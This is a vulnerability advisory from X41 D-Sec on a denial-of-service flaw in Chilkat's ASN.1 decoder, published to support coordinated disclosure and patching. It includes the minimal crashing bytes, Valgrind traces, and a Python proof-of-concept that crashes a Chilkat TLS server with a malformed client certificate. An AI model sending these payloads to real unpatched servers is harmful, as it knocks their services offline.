NEWS
DoS Vulnerability in Chilkat’s ASN.1 Decoder
Severity Rating: High
Confirmed Affected Versions: < v9.5.0.99
Confirmed Patched Versions: >= v9.5.0.99
Vendor: Chilkat Software, Inc.
Vendor URL: Network
Vendor Reference: https://cknotes.com/chilkat-v9-5-0-99-release-notes/
Vector: Network
Credit: X41 D-Sec GmbH, Yasar Klawohn, Eric Sesterhenn
Status: Public
CVE: Pending
CWE 125: Out-of-bounds Read
CVSS Score: 8.2/High
CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Advisory-URL: https://www.x41-dsec.de/lab/advisories/x41-2024-003-chilkat-asn1/
Summary and Impact
Software making use of Chilkat library versions before 9.5.0.99 is potentially vulnerable to a denial of service attack due to invalid handling of bit strings in the DER certificate decoder. This includes Chilkat’s TLS server where an attacker can cause a segmentation fault by sending a malformed client certificate to the server, irrespective of whether the server expected a client certificate or not.
Product Description
The Chilkat library implements many popular Internet protocols, data formats, and algorithms and is available for over 30 different programming languages and runs on Windows, Mac OS, Linux, iOS, Android and ARM Single Board Computers. One of the available formats is DER decoding, which is used by its TLS server functionality.
Analysis
The ASN.1 decoder in Chilkat reads out-of-bounds if a 1-bit string is specified but not present.
Crashing input, minimized with afl-tmin
:
> xxd crash.min
00000000: 3010 3001 3030 0330 3030 0301 0130 3030 0.0.00.000...000
00000010: 3030 00
Running it on the example code provided by Chilkat using Valgrind’s memcheck:
> cat crash.min | valgrind ./main
...
Invalid read of size 1
at 0x25DD13: _ckDer::decode_bit_string(...)
by 0x260855: _ckDer::decode_sequence_flexi(...)
by 0x2600D6: _ckDer::decode_sequence_flexi(...)
by 0x261465: _ckDer::der_to_xml(...)
by 0x1E18FA: ClsAsn::AsnToXml(XString&)
by 0x126D07: CkAsn::AsnToXml(CkString&)
by 0x126D3D: CkAsn::asnToXml()
by 0x1263A7: fuzz_func()
by 0x125FB8: main
Address 0x4dc6fd0 is 0 bytes after a block of size 64 alloc'd
at 0x4844723: operator new[](unsigned long) (vg_replace_malloc.c:725)
by 0x13B980: ckNewUnsignedChar(unsigned int)
by 0x1B8E6F: DataBuffer::reallocate(unsigned int) [clone .part.1]
by 0x1BB0FF: DataBuffer::appendChar(unsigned char)
by 0x2B8021: _ckAsn1::EncodeToDer(DataBuffer&, bool, LogBase&)
by 0x1E188E: ClsAsn::AsnToXml(XString&)
by 0x126D07: CkAsn::AsnToXml(CkString&)
by 0x126D3D: CkAsn::asnToXml()
by 0x1263A7: fuzz_func()
by 0x125FB8: main
...
Process terminating with default action of signal 11 (SIGSEGV): dumping core
Access not within mapped region at address 0x51A4000
at 0x25DD13: _ckDer::decode_bit_string(...)
by 0x260855: _ckDer::decode_sequence_flexi(...)
by 0x2600D6: _ckDer::decode_sequence_flexi(...)
by 0x261465: _ckDer::der_to_xml(...)
by 0x1E18FA: ClsAsn::AsnToXml(XString&)
by 0x126D07: CkAsn::AsnToXml(CkString&)
by 0x126D3D: CkAsn::asnToXml()
by 0x1263A7: fuzz_func()
by 0x125FB8: main
HEAP SUMMARY:
in use at exit: 4,295,068,612 bytes in 64 blocks
total heap usage: 170 allocs, 106 frees, 4,295,101,220 bytes allocated
...
fish: Process 5454, 'valgrind' from job 1, 'cat crash.min | valgrind ../main' terminated by signal SIGSEGV (Address boundary error)
Attackers that can supply malformed certificates can thus crash the programs. This also includes Chilkat’s TLS server, where the affected ASN.1 decoder is called to parse a client certificate if a client supplies one as part of the initial handshake.
afl-tmin
has a relatively simple algorithm that is not always able to find the smallest input. Using afl
’s crash exploration mode by including the -C
flag and another run of afl-tmin
on the resulting output lead to the minimal test case of 03 01 3f
.
According to the specification for DER encoding, 03013f
is a header that means that a bit string (03
) (see section 8.6.4.2) of length 01
follows the header. Additionally, 8.6.2.2 states “The initial octet shall encode, as an unsigned binary integer with bit 1 as the least significant bit, the number of unused bits in the final subsequent octet. The number shall be in the range zero to seven.” That means 3f
encodes the amount of unused bits of the last byte.
Examples:
03 02 00 aa
is the 8-bit bit string (0 unused bits):10101010
03 02 01 aa
is the 7-bit bit string (1 unused bit):1010101
03 01 3f
is the 0-bit bit string with 63 unused bits
If the third example is supplied to Chilkat’s DER decoder, it reads 1 byte outside the bounds of the buffer, resulting in a segmentation fault.
Proof of Concept
The below script (full version) crashes Chilkat’s example TLS server (main.cpp, make.sh):
#!/usr/bin/env python3
import sys
import socket
handshake_length = b'\x05\xeb'
handshake_prot_cert_length = b'\x00\x05\xe7'
certificates_length = b'\x00\x05\xe4'
certificate_length = b'\x00\x05\xe1'
cert_content = bytes.fromhex('308205dd...')
p1 = bytes.fromhex('160301012401000120...')
p2 = bytes.fromhex('16030305eb0b0005e7...')
p2 = p2.replace(certificate_length, b'\x00\x00\x03')
# + 3
p2 = p2.replace(certificates_length, b'\x00\x00\x07')
# + 3
p2 = p2.replace(handshake_prot_cert_length, b'\x00\x00\x0a')
# + 4
p2 = p2.replace(handshake_length, b'\x00\x0e')
p2 = p2.replace(cert_content, b'\x03\x01\x3f')
s = socket.socket()
s.connect(("127.0.0.1", 8123))
s.send(p1)
print("Sent initial handshake")
ret = s.recv(10000)
print(ret)
s.send(p2)
print("Sent payload to crash certificate parser")
# terminal 1: web server
$ ./main
# terminal 2: exploit
$ ./reproduce.py
Sent initial handshake
Sent payload to crash certificate parser
# terminal 1
fish: Job 1, './main 8125' terminated by signal SIGSEGV (Address boundary error)
Timeline
2024-04-22 Issue reported to Chilkat Software
2024-04-22 Chilkat Software acknowledged the issue and fixed it internally
2024-07-04 Chilkat v9.5.0.99 released with the fix
2024-09-11 CVE requested
2024-09-12 Advisory released
About X41 D-Sec GmbH
X41 is an expert provider for application security services. Having extensive industry experience and expertise in the area of information security, a strong core security team of world class security experts enables X41 to perform premium security services.
Fields of expertise in the area of application security are security centered code reviews, binary reverse engineering and vulnerability discovery. Custom research and IT security consulting and support services are core competencies of X41.